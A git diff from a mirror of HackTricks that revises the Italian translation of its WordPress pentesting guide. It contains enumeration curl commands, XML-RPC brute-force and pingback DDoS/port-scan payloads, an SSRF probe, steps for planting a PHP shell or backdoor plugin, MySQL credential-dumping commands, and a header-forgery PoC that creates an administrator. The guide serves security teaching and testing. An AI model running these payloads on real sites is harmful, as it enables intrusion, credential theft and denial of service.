mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/network
This commit is contained in:
parent
d9baa896a4
commit
abf2e7c968
@ -5,46 +5,46 @@
|
||||
## Informazioni di base
|
||||
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Themes files can be found in /wp-content/themes/,** quindi se modifichi qualche php del theme per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando **theme twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- In **wp-config.php** puoi trovare la password root del database.
|
||||
- Percorsi di login di default da verificare: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- In `wp-config.php` puoi trovare la password root del database.
|
||||
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
### **File principali di WordPress**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contiene informazioni utili come la versione di WordPress installata.
|
||||
- `wp-activate.php` è usato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
|
||||
- `wp-activate.php` è usato per il processo di attivazione via email quando si configura un nuovo sito WordPress.
|
||||
- Cartelle di login (possono essere rinominate per nasconderle):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` è un file che rappresenta una feature di WordPress che permette di trasmettere dati con HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- La cartella `wp-content` è la directory principale dove sono memorizzati plugin e temi.
|
||||
- `xmlrpc.php` è un file che rappresenta una funzionalità di WordPress che permette di trasmettere dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- La cartella `wp-content` è la directory principale dove sono memorizzati plugin e theme.
|
||||
- `wp-content/uploads/` è la directory dove vengono salvati i file caricati sulla piattaforma.
|
||||
- `wp-includes/` è la directory dove sono memorizzati i file core, come certificati, font, file JavaScript e widget.
|
||||
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
|
||||
- `wp-includes/` è la directory dove sono archiviati i file core, come certificati, fonts, file JavaScript e widget.
|
||||
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera una sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
|
||||
|
||||
**Post-exploitation**
|
||||
**Post exploitation**
|
||||
|
||||
- Il file `wp-config.php` contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys and salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting.
|
||||
- Il file `wp-config.php` contiene informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys e salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting.
|
||||
|
||||
### Permessi utenti
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Pubblica e gestisce i propri e gli altrui post
|
||||
- **Author**: Pubblica e gestisce i propri post
|
||||
- **Contributor**: Scrive e gestisce i propri post ma non può pubblicarli
|
||||
- **Subscriber**: Visualizza i post e modifica il proprio profilo
|
||||
- **Amministratore**
|
||||
- **Editor**: Pubblica e gestisce i propri e gli altri post
|
||||
- **Autore**: Pubblica e gestisce i propri post
|
||||
- **Collaboratore**: Scrive e gestisce i propri post ma non può pubblicarli
|
||||
- **Iscritto**: Naviga i post e modifica il proprio profilo
|
||||
|
||||
## **Enumerazione passiva**
|
||||
|
||||
### **Ottenere la versione di WordPress**
|
||||
|
||||
Verifica se riesci a trovare i file `/license.txt` o `/readme.html`
|
||||
Controlla se riesci a trovare i file `/license.txt` o `/readme.html`
|
||||
|
||||
All'interno del **codice sorgente** della pagina (esempio da [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- File CSS collegati
|
||||
- File di collegamento CSS
|
||||
|
||||
.png>)
|
||||
|
||||
@ -68,11 +68,11 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Ottenere temi
|
||||
### Ottenere Temi
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Estrarre le versioni in generale
|
||||
### Estrazione delle versioni in generale
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -81,11 +81,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Plugins and Themes
|
||||
|
||||
Probabilmente non riuscirai a trovare tutti i Plugins e Themes possibili. Per scoprirli tutti, dovrai **eseguire attivamente Brute Force su una lista di Plugins and Themes** (per nostra fortuna esistono strumenti automatici che contengono queste liste).
|
||||
Probabilmente non riuscirai a trovare tutti i Plugins and Themes possibili. Per scoprirli tutti, dovrai **actively Brute Force a list of Plugins and Themes** (si spera esistano strumenti automatizzati che contengono queste liste).
|
||||
|
||||
### Utenti
|
||||
### Users
|
||||
|
||||
- **ID Brute:** Ottieni utenti validi da un sito WordPress effettuando Brute Forcing sugli ID utente:
|
||||
- **ID Brute:** Ottieni utenti validi da un sito WordPress tramite Brute Forcing users IDs:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -99,19 +99,19 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Note that this endpoint only exposes users that have made a post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzionalità abilitata**.
|
||||
Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzione abilitata**.
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
Nota anche che **/wp-json/wp/v2/pages** potrebbe leak indirizzi IP.
|
||||
|
||||
- **Login username enumeration**: Quando effettui il login in **`/wp-login.php`**, il **messaggio** è **diverso** a seconda che l'**username** esista o meno.
|
||||
- **Login username enumeration**: Quando effettui il login su **`/wp-login.php`** il **messaggio** è **diverso** e indica se lo **username esiste o meno**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Se `xml-rpc.php` è attivo puoi eseguire un brute-force delle credentials o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
Se `xml-rpc.php` è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo[ using this](https://github.com/relarizky/wpxploit) per esempio).
|
||||
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
|
||||
|
||||
**Controlla**
|
||||
**Verifica**
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
```
|
||||

|
||||
|
||||
**Credenziali Bruteforce**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per il brute-force delle credenziali. Se ne trovi uno puoi inviare qualcosa del tipo:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per brute-force credentials. Se riesci a trovare uno di questi puoi inviare qualcosa del tipo:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,7 +132,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Il messaggio _"Incorrect username or password"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
|
||||
La stringa _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
@ -168,18 +168,18 @@ Usando le credenziali corrette puoi caricare un file. Nella risposta apparirà i
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Esiste anche un modo **più veloce** per fare brute-force delle credenziali usando **`system.multicall`**, poiché puoi provare più credenziali nella stessa richiesta:
|
||||
Esiste anche un **modo più veloce** per brute-force credentials usando **`system.multicall`** poiché puoi provare più credenziali nella stessa richiesta:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta la 2FA. Quindi, se hai creds validi ma l'accesso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quei creds bypassando la 2FA**. Nota che non potrai eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Questo metodo è pensato per programmi e non per esseri umani, ed è obsoleto, quindi non supporta 2FA. Quindi, se hai creds validi ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quelle creds bypassando 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque riuscire a ottenere RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
Se riesci a trovare il metodo _**pingback.ping**_ nella lista puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
|
||||
Questo può essere usato per chiedere a **migliaia** di siti **Wordpress** di **accedere** a una sola **location** (quindi si causa un **DDoS** su quella location) oppure puoi usarlo per far **Wordpress** **scansionare** una rete interna (puoi specificare qualsiasi porta).
|
||||
Questo può essere usato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una singola **destinazione** (così viene causato un **DDoS** in quella destinazione) oppure puoi usarlo per far eseguire a **Wordpress** lo **scan** di una **internal network** (puoi indicare qualsiasi porta).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -193,7 +193,7 @@ Questo può essere usato per chiedere a **migliaia** di siti **Wordpress** di **
|
||||
|
||||
Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che la porta è aperta.
|
||||
|
||||
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare un DDoS.
|
||||
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -210,14 +210,14 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
|
||||
### wp-cron.php DoS
|
||||
|
||||
Questo file di solito si trova nella root del sito Wordpress: **`/wp-cron.php`**\
|
||||
Quando questo file viene **acceduto** viene eseguita una **pesante** MySQL **query**, quindi può essere usato da **attackers** per **causare** un **DoS**.\
|
||||
Inoltre, per default, `wp-cron.php` viene chiamato ad ogni caricamento della pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
|
||||
Quando questo file viene **acceduto** viene eseguita una **pesante** MySQL **query**, quindi potrebbe essere usato da **attaccanti** per **causare** un **DoS**.\
|
||||
Inoltre, di default, il `wp-cron.php` viene chiamato a ogni caricamento di pagina (ogni volta che un client richiede una pagina di Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
|
||||
|
||||
Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sull'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il Worpress site potrebbe effettuare una richiesta verso di te.
|
||||
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Wordpress potrebbe effettuare una richiesta verso di te.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Questo tool verifica se esiste **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy**; se presenti, tenta di sfruttarli.
|
||||
Questo strumento verifica se esistono **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy** e, se presenti, prova a sfruttarli.
|
||||
|
||||
## Strumenti automatici
|
||||
```bash
|
||||
@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Ottenere accesso sovrascrivendo un bit
|
||||
## Ottenere l'accesso sovrascrivendo un bit
|
||||
|
||||
Più che un vero attacco, questa è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit di qualsiasi file di wordpress. Quindi potevi modificare il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
|
||||
Più che un vero attacco, è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) si poteva invertire 1 bit in qualsiasi file di wordpress. Quindi si poteva invertire il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare l'operazione NOT (`!`) in NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Pannello RCE**
|
||||
|
||||
**Modificare un file php del tema in uso (sono necessarie credenziali admin)**
|
||||
**Modifica di un file php del tema in uso (credenziali admin necessarie)**
|
||||
|
||||
Aspetto → Editor del tema → Template 404 (a destra)
|
||||
Aspetto → Theme Editor → 404 Template (a destra)
|
||||
|
||||
Modifica il contenuto inserendo una php shell:
|
||||
Cambia il contenuto con una php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Cerca su internet come accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Cerca su internet come puoi accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -270,7 +270,7 @@ per ottenere una sessione.
|
||||
### PHP plugin
|
||||
|
||||
Potrebbe essere possibile caricare file .php come plugin.\
|
||||
Crea il tuo backdoor php usando per esempio:
|
||||
Crea il tuo php backdoor usando per esempio:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -278,52 +278,52 @@ Poi aggiungi un nuovo plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Carica il plugin e premi Install Now:
|
||||
Upload plugin and press Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Clicca su Procced:
|
||||
Click on Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Probabilmente apparentemente non succederà nulla, ma se vai in Media, vedrai la tua shell caricata:
|
||||
Probabilmente apparentemente non succederà nulla, ma se vai in Media vedrai la tua shell caricata:
|
||||
|
||||
.png>)
|
||||
|
||||
Accedi e vedrai l'URL per eseguire la reverse shell:
|
||||
Accedi e vedrai l'URL per eseguire il reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Caricamento e attivazione di un plugin malevolo
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Questo metodo implica l'installazione di un plugin malevolo noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite il WordPress dashboard come segue:
|
||||
Questo metodo prevede l'installazione di un plugin maligno noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Il processo viene effettuato tramite il WordPress dashboard come segue:
|
||||
|
||||
1. **Plugin Acquisition**: Il plugin si ottiene da una fonte come Exploit DB, ad esempio [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB, ad esempio [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Vai al WordPress dashboard, quindi vai a `Dashboard > Plugins > Upload Plugin`.
|
||||
- Carica il file zip del plugin scaricato.
|
||||
3. **Plugin Activation**: Una volta che il plugin è stato installato correttamente, deve essere attivato tramite la dashboard.
|
||||
4. **Sfruttamento**:
|
||||
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato in quanto noto per essere vulnerabile.
|
||||
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile ottenere una sessione meterpreter, concedendo accesso non autorizzato al sito.
|
||||
- Si osserva che questo è solo uno dei tanti metodi per sfruttare un sito WordPress.
|
||||
- Naviga nel WordPress dashboard, poi vai a `Dashboard > Plugins > Upload Plugin`.
|
||||
- Upload the zip file of the downloaded plugin.
|
||||
3. **Plugin Activation**: Una volta che il plugin è installato con successo, deve essere attivato tramite il dashboard.
|
||||
4. **Exploitation**:
|
||||
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
|
||||
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile stabilire una sessione meterpreter, ottenendo accesso non autorizzato al sito.
|
||||
- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
|
||||
|
||||
Il contenuto include elementi visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come penetration testing con esplicita autorizzazione.
|
||||
Il contenuto include supporti visivi che mostrano i passaggi nel WordPress dashboard per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la corretta autorizzazione. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come penetration testing con esplicita autorizzazione.
|
||||
|
||||
**Per istruzioni più dettagliate controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## Da XSS a RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o ad altre vulnerabilità critiche in WordPress. Per maggiori informazioni consulta [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per WordPress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Crea un utente in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) su WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo custom plugin (backdoor) su WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Modifica un Built-In Plugin in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Modifica un Built-In Theme in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per plugin/theme di terze parti di WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per Third-Party WordPress Plugins/Themes.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Estrai nomi utente e password:
|
||||
Estrai username e password:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Superficie d'attacco
|
||||
|
||||
Sapere come un plugin di Wordpress possa esporre funzionalità è fondamentale per individuare vulnerabilità nella sua logica. Puoi vedere come un plugin possa esporre funzionalità nei punti elenco seguenti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Sapere come un plugin Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi vedere come un plugin potrebbe esporre funzionalità nei punti elencati di seguito e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Queste funzioni possono contenere bug di logica, di autorizzazione o di autenticazione. Inoltre, è abbastanza frequente che tali funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe possedere** (indipendentemente dal ruolo).
|
||||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Questi possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
|
||||
|
||||
Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**L'uso di `nopriv` rende l'endpoint accessibile a qualsiasi utente (anche non autenticati).**
|
||||
**L'uso di `nopriv` rende l'endpoint accessibile da qualsiasi utente (anche non autenticati).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Inoltre, se la funzione verifica solo l'autorizzazione dell'utente tramite la funzione `wp_verify_nonce`, questa funzione verifica soltanto che l'utente sia autenticato, solitamente non controlla il ruolo dell'utente. Di conseguenza utenti con pochi privilegi potrebbero avere accesso ad azioni ad alto privilegio.
|
||||
> Inoltre, se la funzione sta solo verificando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa funzione verifica solo che l'utente sia autenticato, di solito non controlla il ruolo dell'utente. Quindi utenti con privilegi bassi potrebbero avere accesso ad azioni con privilegi elevati.
|
||||
|
||||
- **REST API**
|
||||
|
||||
È anche possibile esporre funzioni di wordpress registrando una REST API usando la funzione `register_rest_route`:
|
||||
È anche possibile esporre funzioni da wordpress registrando una REST API usando la funzione `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -365,19 +365,19 @@ $this->namespace, '/get/', array(
|
||||
```
|
||||
La `permission_callback` è una funzione di callback che verifica se un dato utente è autorizzato a chiamare il metodo API.
|
||||
|
||||
**Se viene utilizzata la funzione integrata `__return_true`, salterà semplicemente il controllo delle autorizzazioni utente.**
|
||||
**Se viene usata la funzione integrata `__return_true`, salterà semplicemente il controllo dei permessi utente.**
|
||||
|
||||
- **Accesso diretto al file php**
|
||||
|
||||
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso un plugin esponga una funzionalità vulnerabile attivabile semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
|
||||
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Alcuni plugin implementano scorciatoie di “trusted header” per integrazioni interne o reverse proxies e poi utilizzano quell'intestazione per impostare il contesto dell'utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e colpire rotte REST privilegiate come amministratore.
|
||||
Alcuni plugin implementano scorciatoie “trusted header” per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente a monte, un attaccante può falsificarlo e colpire route REST privilegiate come amministratore.
|
||||
|
||||
- Impact: escalatione dei privilegi non autenticata a amministratore creando un nuovo amministratore tramite la core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` con un array di ruolo elevato.
|
||||
- Impatto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
|
||||
- Header di esempio: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
|
||||
- Route sfruttata: `POST /wp-json/wp/v2/users` con un array di ruolo elevato.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -393,38 +393,29 @@ Content-Length: 114
|
||||
```
|
||||
Perché funziona
|
||||
|
||||
- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli sulle capability.
|
||||
- WordPress core si aspetta la capability `create_users` per questa route; l'hack del plugin la bypassa impostando direttamente il contesto dell'utente corrente dal header.
|
||||
- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli di capability.
|
||||
- Il core di WordPress si aspetta la capability `create_users` per questa route; l'hack del plugin la bypassa impostando direttamente il contesto dell'utente corrente dall'header.
|
||||
|
||||
Indicatori di successo attesi
|
||||
|
||||
- HTTP 201 con un body JSON che descrive l'utente creato.
|
||||
- Un nuovo utente admin visibile in `wp-admin/users.php`.
|
||||
|
||||
Lista di controllo per il rilevamento
|
||||
Checklist di rilevamento
|
||||
|
||||
- Grep per `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs che leggono header personalizzati per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revisionare le registrazioni REST per callback privilegiate che non hanno controlli `permission_callback` robusti e che si affidano invece agli header della richiesta.
|
||||
- Cercare l'uso di funzioni core di gestione utenti (`wp_insert_user`, `wp_create_user`) all'interno di handler REST che sono protette solo da valori di header.
|
||||
